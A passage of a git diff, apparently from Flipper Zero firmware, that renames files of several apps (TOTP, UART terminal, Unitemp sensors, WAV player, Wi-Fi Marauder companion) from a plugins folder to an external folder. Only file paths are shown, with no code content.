b/applications/external/totp/types/event_type.h similarity index 100% rename from applications/plugins/totp/types/event_type.h rename to applications/external/totp/types/event_type.h diff --git a/applications/plugins/totp/types/notification_method.h b/applications/external/totp/types/notification_method.h similarity index 100% rename from applications/plugins/totp/types/notification_method.h rename to applications/external/totp/types/notification_method.h diff --git a/applications/plugins/totp/types/nullable.h b/applications/external/totp/types/nullable.h similarity index 100% rename from applications/plugins/totp/types/nullable.h rename to applications/external/totp/types/nullable.h diff --git a/applications/plugins/totp/types/plugin_event.h b/applications/external/totp/types/plugin_event.h similarity index 100% rename from applications/plugins/totp/types/plugin_event.h rename to applications/external/totp/types/plugin_event.h diff --git a/applications/plugins/totp/types/plugin_state.h b/applications/external/totp/types/plugin_state.h similarity index 100% rename from applications/plugins/totp/types/plugin_state.h rename to applications/external/totp/types/plugin_state.h diff --git a/applications/plugins/totp/types/token_info.c b/applications/external/totp/types/token_info.c similarity index 100% rename from applications/plugins/totp/types/token_info.c rename to applications/external/totp/types/token_info.c diff --git a/applications/plugins/totp/types/token_info.h b/applications/external/totp/types/token_info.h similarity index 100% rename from applications/plugins/totp/types/token_info.h rename to applications/external/totp/types/token_info.h diff --git a/applications/plugins/totp/types/user_pin_codes.h b/applications/external/totp/types/user_pin_codes.h similarity index 100% rename from applications/plugins/totp/types/user_pin_codes.h rename to applications/external/totp/types/user_pin_codes.h diff --git a/applications/plugins/totp/ui/common_dialogs.c b/applications/external/totp/ui/common_dialogs.c similarity index 100% rename from applications/plugins/totp/ui/common_dialogs.c rename to applications/external/totp/ui/common_dialogs.c diff --git a/applications/plugins/totp/ui/common_dialogs.h b/applications/external/totp/ui/common_dialogs.h similarity index 100% rename from applications/plugins/totp/ui/common_dialogs.h rename to applications/external/totp/ui/common_dialogs.h diff --git a/applications/plugins/totp/ui/constants.h b/applications/external/totp/ui/constants.h similarity index 100% rename from applications/plugins/totp/ui/constants.h rename to applications/external/totp/ui/constants.h diff --git a/applications/plugins/totp/ui/scene_director.c b/applications/external/totp/ui/scene_director.c similarity index 100% rename from applications/plugins/totp/ui/scene_director.c rename to applications/external/totp/ui/scene_director.c diff --git a/applications/plugins/totp/ui/scene_director.h b/applications/external/totp/ui/scene_director.h similarity index 100% rename from applications/plugins/totp/ui/scene_director.h rename to applications/external/totp/ui/scene_director.h diff --git a/applications/plugins/totp/ui/scenes/add_new_token/totp_input_text.c b/applications/external/totp/ui/scenes/add_new_token/totp_input_text.c similarity index 100% rename from applications/plugins/totp/ui/scenes/add_new_token/totp_input_text.c rename to applications/external/totp/ui/scenes/add_new_token/totp_input_text.c diff --git a/applications/plugins/totp/ui/scenes/add_new_token/totp_input_text.h b/applications/external/totp/ui/scenes/add_new_token/totp_input_text.h similarity index 100% rename from applications/plugins/totp/ui/scenes/add_new_token/totp_input_text.h rename to applications/external/totp/ui/scenes/add_new_token/totp_input_text.h diff --git a/applications/plugins/totp/ui/scenes/add_new_token/totp_scene_add_new_token.c b/applications/external/totp/ui/scenes/add_new_token/totp_scene_add_new_token.c similarity index 100% rename from applications/plugins/totp/ui/scenes/add_new_token/totp_scene_add_new_token.c rename to applications/external/totp/ui/scenes/add_new_token/totp_scene_add_new_token.c diff --git a/applications/plugins/totp/ui/scenes/add_new_token/totp_scene_add_new_token.h b/applications/external/totp/ui/scenes/add_new_token/totp_scene_add_new_token.h similarity index 100% rename from applications/plugins/totp/ui/scenes/add_new_token/totp_scene_add_new_token.h rename to applications/external/totp/ui/scenes/add_new_token/totp_scene_add_new_token.h diff --git a/applications/plugins/totp/ui/scenes/app_settings/totp_app_settings.c b/applications/external/totp/ui/scenes/app_settings/totp_app_settings.c similarity index 100% rename from applications/plugins/totp/ui/scenes/app_settings/totp_app_settings.c rename to applications/external/totp/ui/scenes/app_settings/totp_app_settings.c diff --git a/applications/plugins/totp/ui/scenes/app_settings/totp_app_settings.h b/applications/external/totp/ui/scenes/app_settings/totp_app_settings.h similarity index 100% rename from applications/plugins/totp/ui/scenes/app_settings/totp_app_settings.h rename to applications/external/totp/ui/scenes/app_settings/totp_app_settings.h diff --git a/applications/plugins/totp/ui/scenes/authenticate/totp_scene_authenticate.c b/applications/external/totp/ui/scenes/authenticate/totp_scene_authenticate.c similarity index 100% rename from applications/plugins/totp/ui/scenes/authenticate/totp_scene_authenticate.c rename to applications/external/totp/ui/scenes/authenticate/totp_scene_authenticate.c diff --git a/applications/plugins/totp/ui/scenes/authenticate/totp_scene_authenticate.h b/applications/external/totp/ui/scenes/authenticate/totp_scene_authenticate.h similarity index 100% rename from applications/plugins/totp/ui/scenes/authenticate/totp_scene_authenticate.h rename to applications/external/totp/ui/scenes/authenticate/totp_scene_authenticate.h diff --git a/applications/plugins/totp/ui/scenes/generate_token/totp_scene_generate_token.c b/applications/external/totp/ui/scenes/generate_token/totp_scene_generate_token.c similarity index 100% rename from applications/plugins/totp/ui/scenes/generate_token/totp_scene_generate_token.c rename to applications/external/totp/ui/scenes/generate_token/totp_scene_generate_token.c diff --git a/applications/plugins/totp/ui/scenes/generate_token/totp_scene_generate_token.h b/applications/external/totp/ui/scenes/generate_token/totp_scene_generate_token.h similarity index 100% rename from applications/plugins/totp/ui/scenes/generate_token/totp_scene_generate_token.h rename to applications/external/totp/ui/scenes/generate_token/totp_scene_generate_token.h diff --git a/applications/plugins/totp/ui/scenes/token_menu/totp_scene_token_menu.c b/applications/external/totp/ui/scenes/token_menu/totp_scene_token_menu.c similarity index 100% rename from applications/plugins/totp/ui/scenes/token_menu/totp_scene_token_menu.c rename to applications/external/totp/ui/scenes/token_menu/totp_scene_token_menu.c diff --git a/applications/plugins/totp/ui/scenes/token_menu/totp_scene_token_menu.h b/applications/external/totp/ui/scenes/token_menu/totp_scene_token_menu.h similarity index 100% rename from applications/plugins/totp/ui/scenes/token_menu/totp_scene_token_menu.h rename to applications/external/totp/ui/scenes/token_menu/totp_scene_token_menu.h diff --git a/applications/plugins/totp/ui/totp_scenes_enum.h b/applications/external/totp/ui/totp_scenes_enum.h similarity index 100% rename from applications/plugins/totp/ui/totp_scenes_enum.h rename to applications/external/totp/ui/totp_scenes_enum.h diff --git a/applications/plugins/totp/ui/ui_controls.c b/applications/external/totp/ui/ui_controls.c similarity index 100% rename from applications/plugins/totp/ui/ui_controls.c rename to applications/external/totp/ui/ui_controls.c diff --git a/applications/plugins/totp/ui/ui_controls.h b/applications/external/totp/ui/ui_controls.h similarity index 100% rename from applications/plugins/totp/ui/ui_controls.h rename to applications/external/totp/ui/ui_controls.h diff --git a/applications/plugins/totp/workers/type_code/type_code.c b/applications/external/totp/workers/type_code/type_code.c similarity index 100% rename from applications/plugins/totp/workers/type_code/type_code.c rename to applications/external/totp/workers/type_code/type_code.c diff --git a/applications/plugins/totp/workers/type_code/type_code.h b/applications/external/totp/workers/type_code/type_code.h similarity index 100% rename from applications/plugins/totp/workers/type_code/type_code.h rename to applications/external/totp/workers/type_code/type_code.h diff --git a/applications/plugins/uart_terminal/LICENSE b/applications/external/uart_terminal/LICENSE similarity index 100% rename from applications/plugins/uart_terminal/LICENSE rename to applications/external/uart_terminal/LICENSE diff --git a/applications/plugins/uart_terminal/README.md b/applications/external/uart_terminal/README.md similarity index 100% rename from applications/plugins/uart_terminal/README.md rename to applications/external/uart_terminal/README.md diff --git a/applications/plugins/uart_terminal/application.fam b/applications/external/uart_terminal/application.fam similarity index 100% rename from applications/plugins/uart_terminal/application.fam rename to applications/external/uart_terminal/application.fam diff --git a/applications/plugins/uart_terminal/assets/KeyBackspaceSelected_16x9.png b/applications/external/uart_terminal/assets/KeyBackspaceSelected_16x9.png similarity index 100% rename from applications/plugins/uart_terminal/assets/KeyBackspaceSelected_16x9.png rename to applications/external/uart_terminal/assets/KeyBackspaceSelected_16x9.png diff --git a/applications/plugins/uart_terminal/assets/KeyBackspace_16x9.png b/applications/external/uart_terminal/assets/KeyBackspace_16x9.png similarity index 100% rename from applications/plugins/uart_terminal/assets/KeyBackspace_16x9.png rename to applications/external/uart_terminal/assets/KeyBackspace_16x9.png diff --git a/applications/plugins/uart_terminal/assets/KeySaveSelected_24x11.png b/applications/external/uart_terminal/assets/KeySaveSelected_24x11.png similarity index 100% rename from applications/plugins/uart_terminal/assets/KeySaveSelected_24x11.png rename to applications/external/uart_terminal/assets/KeySaveSelected_24x11.png diff --git a/applications/plugins/uart_terminal/assets/KeySave_24x11.png b/applications/external/uart_terminal/assets/KeySave_24x11.png similarity index 100% rename from applications/plugins/uart_terminal/assets/KeySave_24x11.png rename to applications/external/uart_terminal/assets/KeySave_24x11.png diff --git a/applications/plugins/uart_terminal/assets/WarningDolphin_45x42.png b/applications/external/uart_terminal/assets/WarningDolphin_45x42.png similarity index 100% rename from applications/plugins/uart_terminal/assets/WarningDolphin_45x42.png rename to applications/external/uart_terminal/assets/WarningDolphin_45x42.png diff --git a/applications/plugins/uart_terminal/scenes/uart_terminal_scene.c b/applications/external/uart_terminal/scenes/uart_terminal_scene.c similarity index 100% rename from applications/plugins/uart_terminal/scenes/uart_terminal_scene.c rename to applications/external/uart_terminal/scenes/uart_terminal_scene.c diff --git a/applications/plugins/uart_terminal/scenes/uart_terminal_scene.h b/applications/external/uart_terminal/scenes/uart_terminal_scene.h similarity index 100% rename from applications/plugins/uart_terminal/scenes/uart_terminal_scene.h rename to applications/external/uart_terminal/scenes/uart_terminal_scene.h diff --git a/applications/plugins/uart_terminal/scenes/uart_terminal_scene_config.h b/applications/external/uart_terminal/scenes/uart_terminal_scene_config.h similarity index 100% rename from applications/plugins/uart_terminal/scenes/uart_terminal_scene_config.h rename to applications/external/uart_terminal/scenes/uart_terminal_scene_config.h diff --git a/applications/plugins/uart_terminal/scenes/uart_terminal_scene_console_output.c b/applications/external/uart_terminal/scenes/uart_terminal_scene_console_output.c similarity index 100% rename from applications/plugins/uart_terminal/scenes/uart_terminal_scene_console_output.c rename to applications/external/uart_terminal/scenes/uart_terminal_scene_console_output.c diff --git a/applications/plugins/uart_terminal/scenes/uart_terminal_scene_start.c b/applications/external/uart_terminal/scenes/uart_terminal_scene_start.c similarity index 100% rename from applications/plugins/uart_terminal/scenes/uart_terminal_scene_start.c rename to applications/external/uart_terminal/scenes/uart_terminal_scene_start.c diff --git a/applications/plugins/uart_terminal/scenes/uart_terminal_scene_text_input.c b/applications/external/uart_terminal/scenes/uart_terminal_scene_text_input.c similarity index 100% rename from applications/plugins/uart_terminal/scenes/uart_terminal_scene_text_input.c rename to applications/external/uart_terminal/scenes/uart_terminal_scene_text_input.c diff --git a/applications/plugins/uart_terminal/uart_terminal.png b/applications/external/uart_terminal/uart_terminal.png similarity index 100% rename from applications/plugins/uart_terminal/uart_terminal.png rename to applications/external/uart_terminal/uart_terminal.png diff --git a/applications/plugins/uart_terminal/uart_terminal_app.c b/applications/external/uart_terminal/uart_terminal_app.c similarity index 100% rename from applications/plugins/uart_terminal/uart_terminal_app.c rename to applications/external/uart_terminal/uart_terminal_app.c diff --git a/applications/plugins/uart_terminal/uart_terminal_app.h b/applications/external/uart_terminal/uart_terminal_app.h similarity index 100% rename from applications/plugins/uart_terminal/uart_terminal_app.h rename to applications/external/uart_terminal/uart_terminal_app.h diff --git a/applications/plugins/uart_terminal/uart_terminal_app_i.h b/applications/external/uart_terminal/uart_terminal_app_i.h similarity index 100% rename from applications/plugins/uart_terminal/uart_terminal_app_i.h rename to applications/external/uart_terminal/uart_terminal_app_i.h diff --git a/applications/plugins/uart_terminal/uart_terminal_custom_event.h b/applications/external/uart_terminal/uart_terminal_custom_event.h similarity index 100% rename from applications/plugins/uart_terminal/uart_terminal_custom_event.h rename to applications/external/uart_terminal/uart_terminal_custom_event.h diff --git a/applications/plugins/uart_terminal/uart_terminal_uart.c b/applications/external/uart_terminal/uart_terminal_uart.c similarity index 100% rename from applications/plugins/uart_terminal/uart_terminal_uart.c rename to applications/external/uart_terminal/uart_terminal_uart.c diff --git a/applications/plugins/uart_terminal/uart_terminal_uart.h b/applications/external/uart_terminal/uart_terminal_uart.h similarity index 100% rename from applications/plugins/uart_terminal/uart_terminal_uart.h rename to applications/external/uart_terminal/uart_terminal_uart.h diff --git a/applications/plugins/uart_terminal/uart_text_input.c b/applications/external/uart_terminal/uart_text_input.c similarity index 100% rename from applications/plugins/uart_terminal/uart_text_input.c rename to applications/external/uart_terminal/uart_text_input.c diff --git a/applications/plugins/uart_terminal/uart_text_input.h b/applications/external/uart_terminal/uart_text_input.h similarity index 100% rename from applications/plugins/uart_terminal/uart_text_input.h rename to applications/external/uart_terminal/uart_text_input.h diff --git a/applications/plugins/uart_terminal/uart_validators.c b/applications/external/uart_terminal/uart_validators.c similarity index 100% rename from applications/plugins/uart_terminal/uart_validators.c rename to applications/external/uart_terminal/uart_validators.c diff --git a/applications/plugins/uart_terminal/uart_validators.h b/applications/external/uart_terminal/uart_validators.h similarity index 100% rename from applications/plugins/uart_terminal/uart_validators.h rename to applications/external/uart_terminal/uart_validators.h diff --git a/applications/plugins/unitemp/LICENSE.md b/applications/external/unitemp/LICENSE.md similarity index 100% rename from applications/plugins/unitemp/LICENSE.md rename to applications/external/unitemp/LICENSE.md diff --git a/applications/plugins/unitemp/README.md b/applications/external/unitemp/README.md similarity index 100% rename from applications/plugins/unitemp/README.md rename to applications/external/unitemp/README.md diff --git a/applications/plugins/unitemp/Sensors.c b/applications/external/unitemp/Sensors.c similarity index 100% rename from applications/plugins/unitemp/Sensors.c rename to applications/external/unitemp/Sensors.c diff --git a/applications/plugins/unitemp/Sensors.h b/applications/external/unitemp/Sensors.h similarity index 100% rename from applications/plugins/unitemp/Sensors.h rename to applications/external/unitemp/Sensors.h diff --git a/applications/plugins/unitemp/application.fam b/applications/external/unitemp/application.fam similarity index 100% rename from applications/plugins/unitemp/application.fam rename to applications/external/unitemp/application.fam diff --git a/applications/plugins/unitemp/assets/README.MD b/applications/external/unitemp/assets/README.MD similarity index 100% rename from applications/plugins/unitemp/assets/README.MD rename to applications/external/unitemp/assets/README.MD diff --git a/applications/plugins/unitemp/assets/flipper_happy_2_60x38.png b/applications/external/unitemp/assets/flipper_happy_2_60x38.png similarity index 100% rename from applications/plugins/unitemp/assets/flipper_happy_2_60x38.png rename to applications/external/unitemp/assets/flipper_happy_2_60x38.png diff --git a/applications/plugins/unitemp/assets/flipper_happy_60x38.png b/applications/external/unitemp/assets/flipper_happy_60x38.png similarity index 100% rename from applications/plugins/unitemp/assets/flipper_happy_60x38.png rename to applications/external/unitemp/assets/flipper_happy_60x38.png diff --git a/applications/plugins/unitemp/assets/flipper_sad_60x38.png b/applications/external/unitemp/assets/flipper_sad_60x38.png similarity index 100% rename from applications/plugins/unitemp/assets/flipper_sad_60x38.png rename to applications/external/unitemp/assets/flipper_sad_60x38.png diff --git a/applications/plugins/unitemp/assets/hum_9x15.png b/applications/external/unitemp/assets/hum_9x15.png similarity index 100% rename from applications/plugins/unitemp/assets/hum_9x15.png rename to applications/external/unitemp/assets/hum_9x15.png diff --git a/applications/plugins/unitemp/assets/in_hg_15x15.png b/applications/external/unitemp/assets/in_hg_15x15.png similarity index 100% rename from applications/plugins/unitemp/assets/in_hg_15x15.png rename to applications/external/unitemp/assets/in_hg_15x15.png diff --git a/applications/plugins/unitemp/assets/mm_hg_15x15.png b/applications/external/unitemp/assets/mm_hg_15x15.png similarity index 100% rename from applications/plugins/unitemp/assets/mm_hg_15x15.png rename to applications/external/unitemp/assets/mm_hg_15x15.png diff --git a/applications/plugins/unitemp/assets/pressure_7x13.png b/applications/external/unitemp/assets/pressure_7x13.png similarity index 100% rename from applications/plugins/unitemp/assets/pressure_7x13.png rename to applications/external/unitemp/assets/pressure_7x13.png diff --git a/applications/plugins/unitemp/assets/repo_qr_50x50.png b/applications/external/unitemp/assets/repo_qr_50x50.png similarity index 100% rename from applications/plugins/unitemp/assets/repo_qr_50x50.png rename to applications/external/unitemp/assets/repo_qr_50x50.png diff --git a/applications/plugins/unitemp/assets/sherlok_53x45.png b/applications/external/unitemp/assets/sherlok_53x45.png similarity index 100% rename from applications/plugins/unitemp/assets/sherlok_53x45.png rename to applications/external/unitemp/assets/sherlok_53x45.png diff --git a/applications/plugins/unitemp/assets/temp_C_11x14.png b/applications/external/unitemp/assets/temp_C_11x14.png similarity index 100% rename from applications/plugins/unitemp/assets/temp_C_11x14.png rename to applications/external/unitemp/assets/temp_C_11x14.png diff --git a/applications/plugins/unitemp/assets/temp_F_11x14.png b/applications/external/unitemp/assets/temp_F_11x14.png similarity index 100% rename from applications/plugins/unitemp/assets/temp_F_11x14.png rename to applications/external/unitemp/assets/temp_F_11x14.png diff --git a/applications/plugins/unitemp/icon.png b/applications/external/unitemp/icon.png similarity index 100% rename from applications/plugins/unitemp/icon.png rename to applications/external/unitemp/icon.png diff --git a/applications/plugins/unitemp/interfaces/I2CSensor.c b/applications/external/unitemp/interfaces/I2CSensor.c similarity index 100% rename from applications/plugins/unitemp/interfaces/I2CSensor.c rename to applications/external/unitemp/interfaces/I2CSensor.c diff --git a/applications/plugins/unitemp/interfaces/I2CSensor.h b/applications/external/unitemp/interfaces/I2CSensor.h similarity index 100% rename from applications/plugins/unitemp/interfaces/I2CSensor.h rename to applications/external/unitemp/interfaces/I2CSensor.h diff --git a/applications/plugins/unitemp/interfaces/OneWireSensor.c b/applications/external/unitemp/interfaces/OneWireSensor.c similarity index 100% rename from applications/plugins/unitemp/interfaces/OneWireSensor.c rename to applications/external/unitemp/interfaces/OneWireSensor.c diff --git a/applications/plugins/unitemp/interfaces/OneWireSensor.h b/applications/external/unitemp/interfaces/OneWireSensor.h similarity index 100% rename from applications/plugins/unitemp/interfaces/OneWireSensor.h rename to applications/external/unitemp/interfaces/OneWireSensor.h diff --git a/applications/plugins/unitemp/interfaces/SPISensor.c b/applications/external/unitemp/interfaces/SPISensor.c similarity index 100% rename from applications/plugins/unitemp/interfaces/SPISensor.c rename to applications/external/unitemp/interfaces/SPISensor.c diff --git a/applications/plugins/unitemp/interfaces/SPISensor.h b/applications/external/unitemp/interfaces/SPISensor.h similarity index 100% rename from applications/plugins/unitemp/interfaces/SPISensor.h rename to applications/external/unitemp/interfaces/SPISensor.h diff --git a/applications/plugins/unitemp/interfaces/SingleWireSensor.c b/applications/external/unitemp/interfaces/SingleWireSensor.c similarity index 100% rename from applications/plugins/unitemp/interfaces/SingleWireSensor.c rename to applications/external/unitemp/interfaces/SingleWireSensor.c diff --git a/applications/plugins/unitemp/interfaces/SingleWireSensor.h b/applications/external/unitemp/interfaces/SingleWireSensor.h similarity index 100% rename from applications/plugins/unitemp/interfaces/SingleWireSensor.h rename to applications/external/unitemp/interfaces/SingleWireSensor.h diff --git a/applications/plugins/unitemp/sensors/AM2320.c b/applications/external/unitemp/sensors/AM2320.c similarity index 100% rename from applications/plugins/unitemp/sensors/AM2320.c rename to applications/external/unitemp/sensors/AM2320.c diff --git a/applications/plugins/unitemp/sensors/AM2320.h b/applications/external/unitemp/sensors/AM2320.h similarity index 100% rename from applications/plugins/unitemp/sensors/AM2320.h rename to applications/external/unitemp/sensors/AM2320.h diff --git a/applications/plugins/unitemp/sensors/BME680.c b/applications/external/unitemp/sensors/BME680.c similarity index 100% rename from applications/plugins/unitemp/sensors/BME680.c rename to applications/external/unitemp/sensors/BME680.c diff --git a/applications/plugins/unitemp/sensors/BME680.h b/applications/external/unitemp/sensors/BME680.h similarity index 100% rename from applications/plugins/unitemp/sensors/BME680.h rename to applications/external/unitemp/sensors/BME680.h diff --git a/applications/plugins/unitemp/sensors/BMP180.c b/applications/external/unitemp/sensors/BMP180.c similarity index 100% rename from applications/plugins/unitemp/sensors/BMP180.c rename to applications/external/unitemp/sensors/BMP180.c diff --git a/applications/plugins/unitemp/sensors/BMP180.h b/applications/external/unitemp/sensors/BMP180.h similarity index 100% rename from applications/plugins/unitemp/sensors/BMP180.h rename to applications/external/unitemp/sensors/BMP180.h diff --git a/applications/plugins/unitemp/sensors/BMx280.c b/applications/external/unitemp/sensors/BMx280.c similarity index 100% rename from applications/plugins/unitemp/sensors/BMx280.c rename to applications/external/unitemp/sensors/BMx280.c diff --git a/applications/plugins/unitemp/sensors/BMx280.h b/applications/external/unitemp/sensors/BMx280.h similarity index 100% rename from applications/plugins/unitemp/sensors/BMx280.h rename to applications/external/unitemp/sensors/BMx280.h diff --git a/applications/plugins/unitemp/sensors/DHT20.c b/applications/external/unitemp/sensors/DHT20.c similarity index 100% rename from applications/plugins/unitemp/sensors/DHT20.c rename to applications/external/unitemp/sensors/DHT20.c diff --git a/applications/plugins/unitemp/sensors/DHT20.h b/applications/external/unitemp/sensors/DHT20.h similarity index 100% rename from applications/plugins/unitemp/sensors/DHT20.h rename to applications/external/unitemp/sensors/DHT20.h diff --git a/applications/plugins/unitemp/sensors/HDC1080.c b/applications/external/unitemp/sensors/HDC1080.c similarity index 100% rename from applications/plugins/unitemp/sensors/HDC1080.c rename to applications/external/unitemp/sensors/HDC1080.c diff --git a/applications/plugins/unitemp/sensors/HDC1080.h b/applications/external/unitemp/sensors/HDC1080.h similarity index 100% rename from applications/plugins/unitemp/sensors/HDC1080.h rename to applications/external/unitemp/sensors/HDC1080.h diff --git a/applications/plugins/unitemp/sensors/HTU21x.c b/applications/external/unitemp/sensors/HTU21x.c similarity index 100% rename from applications/plugins/unitemp/sensors/HTU21x.c rename to applications/external/unitemp/sensors/HTU21x.c diff --git a/applications/plugins/unitemp/sensors/HTU21x.h b/applications/external/unitemp/sensors/HTU21x.h similarity index 100% rename from applications/plugins/unitemp/sensors/HTU21x.h rename to applications/external/unitemp/sensors/HTU21x.h diff --git a/applications/plugins/unitemp/sensors/LM75.c b/applications/external/unitemp/sensors/LM75.c similarity index 100% rename from applications/plugins/unitemp/sensors/LM75.c rename to applications/external/unitemp/sensors/LM75.c diff --git a/applications/plugins/unitemp/sensors/LM75.h b/applications/external/unitemp/sensors/LM75.h similarity index 100% rename from applications/plugins/unitemp/sensors/LM75.h rename to applications/external/unitemp/sensors/LM75.h diff --git a/applications/plugins/unitemp/sensors/MAX31855.c b/applications/external/unitemp/sensors/MAX31855.c similarity index 100% rename from applications/plugins/unitemp/sensors/MAX31855.c rename to applications/external/unitemp/sensors/MAX31855.c diff --git a/applications/plugins/unitemp/sensors/MAX31855.h b/applications/external/unitemp/sensors/MAX31855.h similarity index 100% rename from applications/plugins/unitemp/sensors/MAX31855.h rename to applications/external/unitemp/sensors/MAX31855.h diff --git a/applications/plugins/unitemp/sensors/MAX6675.c b/applications/external/unitemp/sensors/MAX6675.c similarity index 100% rename from applications/plugins/unitemp/sensors/MAX6675.c rename to applications/external/unitemp/sensors/MAX6675.c diff --git a/applications/plugins/unitemp/sensors/MAX6675.h b/applications/external/unitemp/sensors/MAX6675.h similarity index 100% rename from applications/plugins/unitemp/sensors/MAX6675.h rename to applications/external/unitemp/sensors/MAX6675.h diff --git a/applications/plugins/unitemp/sensors/SHT30.c b/applications/external/unitemp/sensors/SHT30.c similarity index 100% rename from applications/plugins/unitemp/sensors/SHT30.c rename to applications/external/unitemp/sensors/SHT30.c diff --git a/applications/plugins/unitemp/sensors/SHT30.h b/applications/external/unitemp/sensors/SHT30.h similarity index 100% rename from applications/plugins/unitemp/sensors/SHT30.h rename to applications/external/unitemp/sensors/SHT30.h diff --git a/applications/plugins/unitemp/sensors/Sensors.xlsx b/applications/external/unitemp/sensors/Sensors.xlsx similarity index 100% rename from applications/plugins/unitemp/sensors/Sensors.xlsx rename to applications/external/unitemp/sensors/Sensors.xlsx diff --git a/applications/plugins/unitemp/unitemp.c b/applications/external/unitemp/unitemp.c similarity index 100% rename from applications/plugins/unitemp/unitemp.c rename to applications/external/unitemp/unitemp.c diff --git a/applications/plugins/unitemp/unitemp.h b/applications/external/unitemp/unitemp.h similarity index 100% rename from applications/plugins/unitemp/unitemp.h rename to applications/external/unitemp/unitemp.h diff --git a/applications/plugins/unitemp/views/General_view.c b/applications/external/unitemp/views/General_view.c similarity index 100% rename from applications/plugins/unitemp/views/General_view.c rename to applications/external/unitemp/views/General_view.c diff --git a/applications/plugins/unitemp/views/MainMenu_view.c b/applications/external/unitemp/views/MainMenu_view.c similarity index 100% rename from applications/plugins/unitemp/views/MainMenu_view.c rename to applications/external/unitemp/views/MainMenu_view.c diff --git a/applications/plugins/unitemp/views/Popup_view.c b/applications/external/unitemp/views/Popup_view.c similarity index 100% rename from applications/plugins/unitemp/views/Popup_view.c rename to applications/external/unitemp/views/Popup_view.c diff --git a/applications/plugins/unitemp/views/SensorActions_view.c b/applications/external/unitemp/views/SensorActions_view.c similarity index 100% rename from applications/plugins/unitemp/views/SensorActions_view.c rename to applications/external/unitemp/views/SensorActions_view.c diff --git a/applications/plugins/unitemp/views/SensorEdit_view.c b/applications/external/unitemp/views/SensorEdit_view.c similarity index 100% rename from applications/plugins/unitemp/views/SensorEdit_view.c rename to applications/external/unitemp/views/SensorEdit_view.c diff --git a/applications/plugins/unitemp/views/SensorNameEdit_view.c b/applications/external/unitemp/views/SensorNameEdit_view.c similarity index 100% rename from applications/plugins/unitemp/views/SensorNameEdit_view.c rename to applications/external/unitemp/views/SensorNameEdit_view.c diff --git a/applications/plugins/unitemp/views/SensorsList_view.c b/applications/external/unitemp/views/SensorsList_view.c similarity index 100% rename from applications/plugins/unitemp/views/SensorsList_view.c rename to applications/external/unitemp/views/SensorsList_view.c diff --git a/applications/plugins/unitemp/views/Settings_view.c b/applications/external/unitemp/views/Settings_view.c similarity index 100% rename from applications/plugins/unitemp/views/Settings_view.c rename to applications/external/unitemp/views/Settings_view.c diff --git a/applications/plugins/unitemp/views/UnitempViews.h b/applications/external/unitemp/views/UnitempViews.h similarity index 100% rename from applications/plugins/unitemp/views/UnitempViews.h rename to applications/external/unitemp/views/UnitempViews.h diff --git a/applications/plugins/unitemp/views/Widgets_view.c b/applications/external/unitemp/views/Widgets_view.c similarity index 100% rename from applications/plugins/unitemp/views/Widgets_view.c rename to applications/external/unitemp/views/Widgets_view.c diff --git a/applications/plugins/wav_player/README.md b/applications/external/wav_player/README.md similarity index 100% rename from applications/plugins/wav_player/README.md rename to applications/external/wav_player/README.md diff --git a/applications/plugins/wav_player/application.fam b/applications/external/wav_player/application.fam similarity index 100% rename from applications/plugins/wav_player/application.fam rename to applications/external/wav_player/application.fam diff --git a/applications/plugins/wav_player/images/music_10px.png b/applications/external/wav_player/images/music_10px.png similarity index 100% rename from applications/plugins/wav_player/images/music_10px.png rename to applications/external/wav_player/images/music_10px.png diff --git a/applications/plugins/wav_player/wav_10px.png b/applications/external/wav_player/wav_10px.png similarity index 100% rename from applications/plugins/wav_player/wav_10px.png rename to applications/external/wav_player/wav_10px.png diff --git a/applications/plugins/wav_player/wav_parser.c b/applications/external/wav_player/wav_parser.c similarity index 100% rename from applications/plugins/wav_player/wav_parser.c rename to applications/external/wav_player/wav_parser.c diff --git a/applications/plugins/wav_player/wav_parser.h b/applications/external/wav_player/wav_parser.h similarity index 100% rename from applications/plugins/wav_player/wav_parser.h rename to applications/external/wav_player/wav_parser.h diff --git a/applications/plugins/wav_player/wav_player.c b/applications/external/wav_player/wav_player.c similarity index 100% rename from applications/plugins/wav_player/wav_player.c rename to applications/external/wav_player/wav_player.c diff --git a/applications/plugins/wav_player/wav_player_hal.c b/applications/external/wav_player/wav_player_hal.c similarity index 100% rename from applications/plugins/wav_player/wav_player_hal.c rename to applications/external/wav_player/wav_player_hal.c diff --git a/applications/plugins/wav_player/wav_player_hal.h b/applications/external/wav_player/wav_player_hal.h similarity index 100% rename from applications/plugins/wav_player/wav_player_hal.h rename to applications/external/wav_player/wav_player_hal.h diff --git a/applications/plugins/wav_player/wav_player_view.c b/applications/external/wav_player/wav_player_view.c similarity index 100% rename from applications/plugins/wav_player/wav_player_view.c rename to applications/external/wav_player/wav_player_view.c diff --git a/applications/plugins/wav_player/wav_player_view.h b/applications/external/wav_player/wav_player_view.h similarity index 100% rename from applications/plugins/wav_player/wav_player_view.h rename to applications/external/wav_player/wav_player_view.h diff --git a/applications/plugins/wifi_marauder_companion/application.fam b/applications/external/wifi_marauder_companion/application.fam similarity index 100% rename from applications/plugins/wifi_marauder_companion/application.fam rename to applications/external/wifi_marauder_companion/application.fam diff --git a/applications/plugins/wifi_marauder_companion/scenes/wifi_marauder_scene.c b/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene.c similarity index 100% rename from applications/plugins/wifi_marauder_companion/scenes/wifi_marauder_scene.c rename to applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene.c diff --git a/applications/plugins/wifi_marauder_companion/scenes/wifi_marauder_scene.h b/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene.h similarity index 100% rename from applications/plugins/wifi_marauder_companion/scenes/wifi_marauder_scene.h rename to applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene.h diff --git a/applications/plugins/wifi_marauder_companion/scenes/wifi_marauder_scene_config.h b/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_config.h similarity index 100% rename from applications/plugins/wifi_marauder_companion/scenes/wifi_marauder_scene_config.h rename to applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_config.h diff --git a/applications/plugins/wifi_marauder_companion/scenes/wifi_marauder_scene_console_output.c b/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_console_output.c similarity index 100% rename from applications/plugins/wifi_marauder_companion/scenes/wifi_marauder_scene_console_output.c rename to applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_console_output.c diff --git a/applications/plugins/wifi_marauder_companion/scenes/wifi_marauder_scene_start.c b/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_start.c similarity index 100% rename from applications/plugins/wifi_marauder_companion/scenes/wifi_marauder_scene_start.c rename to applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_start.c diff --git 